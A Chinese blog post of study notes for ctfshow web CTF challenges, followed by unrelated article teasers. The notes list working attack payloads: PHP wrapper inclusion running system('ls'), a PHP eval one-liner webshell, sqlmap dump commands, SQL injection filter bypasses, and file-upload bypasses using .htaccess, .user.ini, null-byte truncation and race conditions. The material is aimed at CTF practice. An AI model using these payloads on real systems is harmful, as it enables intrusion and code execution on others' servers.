ctfshow——web(总结持续更新)

news2024/11/26 18:44:48

文章目录

  • 1、基础知识部分
  • 2、php伪协议
    • 2.1 php://input协议
    • 2.2 data://text/plain协议
  • 3、webshell连接工具
    • 3.1 蚁剑连接一句话木马
  • 4、各个web中间件重要文件路径
    • 4.1 Nginx
  • 5、sqlmap使用
  • 6、php特性
    • 6.1 md5加密漏洞
    • 6.2 php特殊符号
  • 7、TOP 10漏洞
    • 7.1 SQL注入
    • 7.2 代码执行
    • 7.3 文件上传
      • php上传特性
      • 检查后缀
      • 检查文件内容
      • 代码逻辑——条件竞争

1、基础知识部分

  1. 识别base64编码:大小写+数字,偶尔最后几位是= or ++
  2. session:session是保存在服务器中的,服务器通过数据包中的cookie的PHPSESSID值来判断哪条session中保存用户信息;$_SESSION['password']是利用cookie中的PHPSESSID来找相应信息的password值。
  3. 常见的网站源码备份文件后缀:tar、tar.gz、zip、rar、bak。常见的网站源码备份文件名:web、website、backup、back、www、wwwroot、temp

2、php伪协议

2.1 php://input协议

关于php://input,简单来说:当php://inputinclude连用时,数据包中的post字段将会当做php代码执行。

# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>  

2.2 data://text/plain协议

关于data://text/plain,简单来说:当data://text/plaininclude连用时,data://text/plain后面接着的数据会被当做php代码执行。

?url=data://text/plain,<?php system('ls');?> # 
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式

3、webshell连接工具

3.1 蚁剑连接一句话木马

如果蚁剑报错:unable_to_verify_leaf_signature,是证书的原因,目前的解决方法是将URL中的https改为http。
在这里插入图片描述

4、各个web中间件重要文件路径

4.1 Nginx

# Linux
/var/log/nginx/access.log # linux下,nginx访问日志文件默认路径

# windows
C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径

5、sqlmap使用

sqlmap常用命令:

python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs  #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容

# 使用--tamper脚本,将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*

# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数

6、php特性

6.1 md5加密漏洞

  1. md50e漏洞:就是说在使用md5()==进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e开头的字符串,那么左右两边将会相等。
  2. 当使用md5()===进行变量对比的时候, 使用数组可以绕过md5()函数的检测。
  3. md5 true参数漏洞
    md5($string, true)ffifdyop129581926211651571912466741651878684928可以得到'or'结构的字符串。

6.2 php特殊符号

# . file = source file ,用bash执行file这个shell脚本文件
. == source 

# 执行系统命令
`ls` = system('ls') 

# php短标签
<?php @eval($_GET['cmd']);?> == <?=@eval($_GET['cmd']);?>

# ?为通配符
# +为空格

7、TOP 10漏洞

7.1 SQL注入

SQL注入常见的测试方法就是:

  • 在参数后面加个',看返回包是否报错;
  • 使用万能密码1' or 1=1 --+,看返回包有没有反应。

登录框测试SQL注入后,尝试目录扫描,看看有没有敏感信息泄露。

SQL注入绕过:
1、空格被过滤

# 空格被过滤
username=1'or(true)#  # 用(true)代替1=1
username=1'/**/or/**/1=1/**/#  # 用内联注释(/**/)代替空格

##经过测试过滤了空格,所以用内敛注释进行绕过
id=1'/**/and/**/1=1/**/#      正常返回
id=1'/**/and/**/1=2/**/#      数据未返回,存在SQL注入

##或者
id=1'/**/and/**/(true)/**/#      正常返回
id=1'/**/and/**/(false)/**/#      数据未返回,存在SQL注入

##或者
id=1'/**/or/**/(false)#  返回一条数据
id=1'/**/or/**/(true)#  返回当前表里的所有数据

2、单引号被过滤

# 单引号被过滤
双引号代替单引号

3、with rollup(虚拟表)绕过

# with rollup(虚拟表)绕过
group by :将结果集按照选择的字段进行排序,默认从小到大,不进行去重
group by password with rollup:对password进行逻辑排序,同时会对所有数据进行汇总统计。

在这里插入图片描述

7.2 代码执行

题目中若存在cmd参数,可能存在代码执行。尝试cmd=phpinfo();

?cmd=phpinfo(); # 如果这能被执行,后端应该就是类似一句话木马的写法<?php @eval($_GET['cmd']);?>

# 读取当前目录下的文件
?cmd=system('ls'); 
?cmd=print_r(scandir('./')); 
?cmd=print_r(glob("*"));

# 读取文件内容
?cmd=highlight_file('x.php');
?cmd=show_source('x.php');

7.3 文件上传

php上传特性

在php中,使用Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在php的配置中upload_tmp_dir参数为保存临时文件的路经,linux下面默认为/tmp。也就是说只要php接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除,并且php每次创建的临时文件名都有固定的格式,为phpXXXX.tmp(Windows)php**.tmp(Linux)

在这里插入图片描述

检查后缀

  1. 黑名单绕过
    • 特殊后缀名
      在某些中间件中,.php3,.php4,.php5,.phptml 会被解析为.php
    • windows特性
      1.php.1.php[空格]1.php::$DATA在windows系统中保存为1.php
    • 双写后缀名绕过
      仅当后端使用类似preg_replace函数进行关键词替换时,可以使用双写后缀名的方式绕过。
    • .htaccess和.user.ini
      • .user.ini用法
        前提:保证三个文件(.user.inishell.pngxx.php)在同一目录下,再执行该目录下的php文件。
        //.user.ini
        auto_prepend_file=1.png
        
        //1.png
        <?php phpinfo();?>
        
        //1.php(任意php文件)
        

        注:三个文件在一个目录下,就相当于1.php文件开头插入了include('1.png');进行文件包含,解析1.php文件时会使用php解析器解析1.png文件。

      • .htaccess用法
        # .htaccess文件
        <FileMatch "shell.png">
        SetHandler application/x-httpd-php
        
        # shell.png
        <?php phpinfo();?>
        
      • 区别
        .htaccess文件是Apache服务器中的分布式配置文件;.user.ini是php配置文件。
    • 配合中间件解析漏洞
      需要总结各个中间件的历史解析漏洞。如apache陌生后缀解析漏洞和apache换行解析漏洞。
  2. 白名单绕过
    • %00截断(GET传参)
      前提:PHP版本小于5.3.4、magic_quotes_gpc 为OFF状态。
      原理:上传1.php%00,最终保存为1.php
    • 0x00截断(POST传参)
      在hex模式下,将1.php后面的16进制值改为00同样达到阶段的效果。

检查文件内容

  1. MIME绕过
    数据包中Content-Type字段表示文件的类型,修改Content-Type的值绕过检测。常见的MIME 类型如下:
    文件拓展名Mime-Type
    .htmltest/html
    .jpgimage/jpeg
    .pngimage/png
    .gifimage/gif
    .txttext/plain
    .phpapplication/x-httpd-php
  2. 文件幻数检测(getimagesize()exif_imagetype()
    其实就是检测文件内容,以下是常见的图片文件头字节。
    类型文件幻数
    JPGFF D8 FF E0 00 10 4A 46 49 46
    GIF47 49 46 38 39 61 (GIF89a)
    PNG89 50 4E 47
  3. 二次渲染
    简单来说,就是后台会根据你上传的图片,重建一个相同的图片

    绕过:

    • 对比源文件和渲染后的文件,在没有变化的部分加入一句话木马;
    • 对于做文件上传之二次渲染建议用GIF图片,相对于简单一点。

代码逻辑——条件竞争

检测原理
  一些网站文件检测逻辑是先允许上传任意文件,然后检查文件内容是否包含可执行脚本,如果包含则删除。
绕过方法
  利用成功上传到删除文件的时间差,上传一个.php文件,在未删除之前立即访问,则会自动生成一个新php文件,新文件不会被删除。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2233865.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数论——约数(完整版)

2、约数 一个数能够整除另一数&#xff0c;这个数就是另一数的约数。 如2&#xff0c;3&#xff0c;4&#xff0c;6都能整除12&#xff0c;因此2&#xff0c;3&#xff0c;4&#xff0c;6都是12的约数。也叫因数。 1、求一个数的所有约数——试除法 例题&#xff1a; 给定…

python: Parent-child form operations using ttkbootstrap

# encoding: utf-8 # 版權所有 2024 ©塗聚文有限公司 # 許可資訊查看&#xff1a;言語成了邀功的功臣&#xff0c;還需要行爲每日來值班嗎&#xff1f; # 描述&#xff1a; 主、子表單 窗體傳值 Parent-child form operations # Author : geovindu,Geovin Du 塗聚文. …

读书笔记#深入理解Java虚拟机(第三版)# Java内存模型与线程

深入理解Java虚拟机&#xff08;第三版&#xff09;# 高效并发 chap12 Java内存模型与线程 概述 在许多场景下&#xff0c;让计算机同时去做几件事情&#xff0c;不仅是因为计算机的运算能力强大了&#xff0c;还有一个很重要的原因是计算机的运算速度与它的存储和通信子系统的…

文心一言 VS 讯飞星火 VS chatgpt (383)-- 算法导论24.5 3题

三、对引理 24.10 的证明进行改善&#xff0c;使其可以处理最短路径权重为 ∞ ∞ ∞ 和 − ∞ -∞ −∞ 的情况。引理 24.10(三角不等式)的内容是&#xff1a;设 G ( V , E ) G(V,E) G(V,E) 为一个带权重的有向图&#xff0c;其权重函数由 w : E → R w:E→R w:E→R 给出&…

阿里云-部署CNI flannel集群网络

环境 1.一台阿里云作为k8s-master:8.130.XXX.231&#xff08;阿里云私有IP&#xff09; 2.Vmware 两个虚拟机分别作为 k8s-node1:192.168.40.131 k8s-node2:192.168.40.131 3.安装Docker 部署过程 k8s-master,k8s-node1,k8s-node2 初始操作 # 关闭防火墙 systemctl stop fi…

「C/C++」C++设计模式 之 抽象工厂模式(Abstract Factory)

✨博客主页何曾参静谧的博客&#x1f4cc;文章专栏「C/C」C/C程序设计&#x1f4da;全部专栏「VS」Visual Studio「C/C」C/C程序设计「UG/NX」BlockUI集合「Win」Windows程序设计「DSA」数据结构与算法「UG/NX」NX二次开发「QT」QT5程序设计「File」数据文件格式「PK」Parasoli…

免费在线绘图:创意与效率的结合

在数字化时代&#xff0c;绘图已成为各行业人士的基本技能。无论你是设计师、学生、创作者还是爱好者&#xff0c;免费的在线绘图软件都是释放创意和表达思想的理想选择。本文将介绍七款功能全面、免费的在线绘图软件&#xff0c;帮助你轻松实现创作愿景。只需网络连接&#xf…

【教程】Git 标准工作流

目录 前言建仓&#xff0c;拉仓&#xff0c;关联仓库修改代码更新本地仓库&#xff0c;并解决冲突提交代码&#xff0c;合入代码其他常用 Git 工作流删除本地仓库和远程仓库中的文件日志打印commit 相关 前言 Git 是日常开发中常用的版本控制工具&#xff0c;配合代码托管仓库…

基于springboot+vue实现的任务管理系统(源码+L文)4-103

第4章 系统设计 4.1 总体功能设计 员工&#xff0c;经理&#xff0c;管理员都需要登录才能进入任务管理系统&#xff0c;使用者登录时会在后台判断使用的权限类型&#xff0c;包括一般使用者和管理者,一般使用者为员工和经理&#xff0c;对员工只能提供任务信息显示查询&…

vue2中使用vue-awesome-swiper实现轮播

swiper官方文档&#xff1a;Swiper中文网-轮播图幻灯片js插件,H5页面前端开发 1.安装 注意&#xff1a;swiper和vue-awesome-swiper的版本一定一定一定要相对应&#xff0c;版本对应如下&#xff1a; Swiper 5-6 vue-awesome-swiper4.1.1(vue2) Swiper 4.x vue-awesome-swi…

Node.js 入门指南:从零开始构建全栈应用

​&#x1f308;个人主页&#xff1a;前端青山 &#x1f525;系列专栏&#xff1a;node.js篇 &#x1f516;人终将被年少不可得之物困其一生 依旧青山,本期给大家带来node.js篇专栏内容:node.js-入门指南&#xff1a;从零开始构建全栈应用 前言 大家好&#xff0c;我是青山。作…

favicon是什么文件?如何制作网站ico图标?

一般我们做网站的话&#xff0c;都会制作一个独特的ico图标&#xff0c;命名为favicon.ico。这个ico图标一般会出现在浏览器网页标题前面。如下图红色箭头所示&#xff1a; 部分博客导航大全也会用到所收录网站的ico图标。比如boke123导航新收录的网站就不再使用网站首页缩略图…

“大跳水”的全新奥迪A3,精准狙击年轻人的心

文/王俣祺 导语&#xff1a;随着传统豪华品牌在国内市场的全面崩盘&#xff0c;奥迪再一次坐不住了。这次&#xff0c;奥迪“割肉”的目标瞄准了被称为“年轻人第一台豪车”的奥迪A3&#xff0c;这款车问世以来&#xff0c;就凭借出色的性能与品质收获了一大批年轻粉丝。如今&a…

两台手机如何提词呢,一台手机后置高清摄像一台手机前置提词+实时监测状态的解决方案来喽

拍视频只会用前置摄像头可不行啊&#xff0c; 后置高清才会更有流量&#xff0c; 你看哦&#xff0c;我用的是后置摄像头拍摄&#xff0c; 然后前面就用来提词&#xff0c; 它不光能提词&#xff0c; 和其他家不一样的是&#xff0c; 还能把后面手机画面投影到前面手机 这样呀&…

[SWPUCTF 2021 新生赛]easy_sql的write up

开启NSSCTF靶场&#xff0c;在浏览器中访问链接&#xff0c;看到让我们输入点什么还有标签页名字提示&#xff1a; "参数是wllm" 直接/?wllm1访问一下&#xff1a; 这里就直接用sqlmap直接爆破了&#xff1a; 查看数据库有哪些&#xff1a; python sqlmap.py -u …

Tr2 CYT2B75使用记录(二):GPIO、串口、CAN(FD)和busoff检测、看门狗和复位原因

目录 概述GPIO串口1.FIFO2.中断 CANFDRX Buffer and FIFO ElementTX Buffer Elementbusoff 检测 看门狗复位原因 待梳理 概述 GPIO 1.如何定位IO的作用 2.读取电平必须为输入模式 串口 熟悉手册串口特性如下&#xff1a; ■ 数据帧大小可从4位编程到16位 ■ STOP位的可编程…

Android13 系统/用户证书安装相关分析总结(二) 如何增加一个安装系统证书的接口

一、前言 接着上回说&#xff0c;最初是为了写一个SDK的接口&#xff0c;需求大致是增加证书安装卸载的接口&#xff08;系统、用户&#xff09;。于是了解了一下证书相关的处理逻辑&#xff0c;在了解了功能和流程之后&#xff0c;发现settings中支持安装的证书&#xff0c;只…

【Java语言】继承和多态(一)

继承 继承就是实现代码的复用&#xff1b;简而言之就是重复的代码作为父类&#xff08;基类或超类&#xff09;&#xff0c;而不同的可以作为子类&#xff08;派生类&#xff09;。如果子类想要继承父类的成员就一定需要extends进行修饰&#xff08;如&#xff1a;&#xff08;…

04_CC2530+Uart串口通信

04_CC2530UART串口通信 串口通信基本概念 串行通信: 数据字节一位位地依次传送的通信方式, 串行通信的速度慢, 但用的传输线条数少, 成本低&#xff0c;适用于远距离的数据传送并行通信: 数据字节的各位同事传送的通信方式, 优点是数据传送速度快, 缺点是占用的传输线条数多,…

【计算机网络安全】湖北大学–DNS欺骗实验

目录 0x00 ettercap-原理 0x01 ettercap-arp欺骗 0x02 ettercap-dns劫持 0x00 ettercap-原理 攻击者冒充域名服务器&#xff0c;然后把查询的IP地址设为攻击者的IP地址。这样的话&#xff0c;用户上网就只能看到攻击者的主页&#xff0c;而不是用户想要取得的网站。 首先&…